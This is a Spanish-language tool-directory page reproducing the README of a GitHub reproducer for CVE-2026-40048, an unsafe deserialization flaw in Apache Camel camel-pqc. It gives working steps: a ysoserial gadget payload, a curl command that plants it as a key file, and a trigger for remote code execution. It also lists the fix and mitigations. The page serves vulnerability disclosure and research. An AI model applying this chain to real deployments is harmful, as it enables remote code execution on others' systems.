Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40048 — Reproductor para CVE-2026-40048: deserialización insegura en FileBasedKeyLifecycleManager de Apache Camel camel-pqc (RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40048
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHuboscerd/cve-2026-40048

CVE-2026-40048

Reproductor para CVE-2026-40048: deserialización insegura en FileBasedKeyLifecycleManager de Apache Camel camel-pqc (RCE)

hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Reproducción de deserialización insegura en FileBasedKeyLifecycleManager de camel-pqc (CVE-2026-40048)

Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-pqc de Apache Camel, registrada como CVE-2026-40048. FileBasedKeyLifecycleManager lee los archivos <keyId>.key del directorio de claves configurado con un ObjectInputStream sin ningún ObjectInputFilter, por lo que un atacante que pueda escribir en ese directorio puede lograr ejecución remota de código.

Aviso: https://camel.apache.org/security/CVE-2026-40048.html

Resumen de la vulnerabilidad

PropiedadValor
Componentecamel-pqc
Clase afectadaorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: Deserialización de datos no confiables
ImpactoEjecución remota de código (RCE)
Versiones afectadasDesde 4.18.0 hasta antes de 4.18.2, y desde 4.19.0 hasta antes de 4.20.0
Versiones corregidas4.18.2, 4.20.0
JIRACAMEL-23200
InvestigadoresAndrea Cosentino (ASF), Venkatraman Kumar (Securin)

Detalles técnicos

FileBasedKeyLifecycleManager persiste las claves post-cuánticas como objetos Java serializados en <keyDir>/<keyId>.key. La carga de una clave deserializa ese archivo con un ObjectInputStream sin filtrar, y la conversión a KeyPair ocurre solo después de que readObject() retorna:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

Un atacante que pueda escribir en el directorio de claves — mediante path traversal, permisos de volumen mal configurados, una cadena de aprovisionamiento de claves comprometida o un ataque de symlink — puede plantar un objeto serializado manipulado que se ejecute durante una carga normal del ciclo de vida de la clave.

Requisitos previos

  • Java 17+ y Maven 3.8+ (para compilar el jar)
  • Docker (ejecuta el reproductor)
  • ysoserial (para generar la carga útil)

Pasos para reproducir

Paso 1: Compilar el jar e iniciar el contenedor

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Generar una carga útil maliciosa

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Paso 3: Colocar la carga útil como <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

Paso 4: Disparar la carga del ciclo de vida de la clave (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

Paso 5: Verificar

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Vectores de ataque

getKey() se invoca durante operaciones normales del ciclo de vida de la clave (recuperación de la clave de firma/verificación, comprobaciones de rotación, etc.), por lo que cualquier carga de un archivo <keyId>.key plantado por el atacante dispara la deserialización.

Condiciones de explotación

  1. Acceso de escritura al directorio de claves utilizado por FileBasedKeyLifecycleManager (volumen compartido/mal configurado, path traversal, aprovisionamiento comprometido, symlink).
  2. Una librería gadget en el classpath (p. ej. commons-collections:3.2.1).

CVEs relacionados posteriores

El patrón de ObjectInputStream en el almacén de claves se abordó de forma más amplia posteriormente:

  • CVE-2026-46590 — los administradores hermanos de HashiCorp Vault + AWS Secrets Manager (seguimiento por corrección incompleta).
  • CVE-2026-43867 — un informe independiente de la misma vía de AWS Secrets Manager.

Corrección recomendada

Actualice a 4.18.2 / 4.20.0. La corrección reemplaza el almacenamiento basado en ObjectInputStream con codificación JSON Base64 estándar PKCS#8 (clave privada) / X.509 SubjectPublicKeyInfo (clave pública).

Mitigación

Hasta actualizar:

  1. Restrinja el acceso de escritura al directorio de claves a la propia identidad de la aplicación.
  2. Elimine las librerías gadget (actualice o elimine commons-collections 3.x).
  3. Mantenga el material de claves en un volumen que ninguna entidad menos confiable pueda escribir.

Archivos

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Descargo de responsabilidad

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta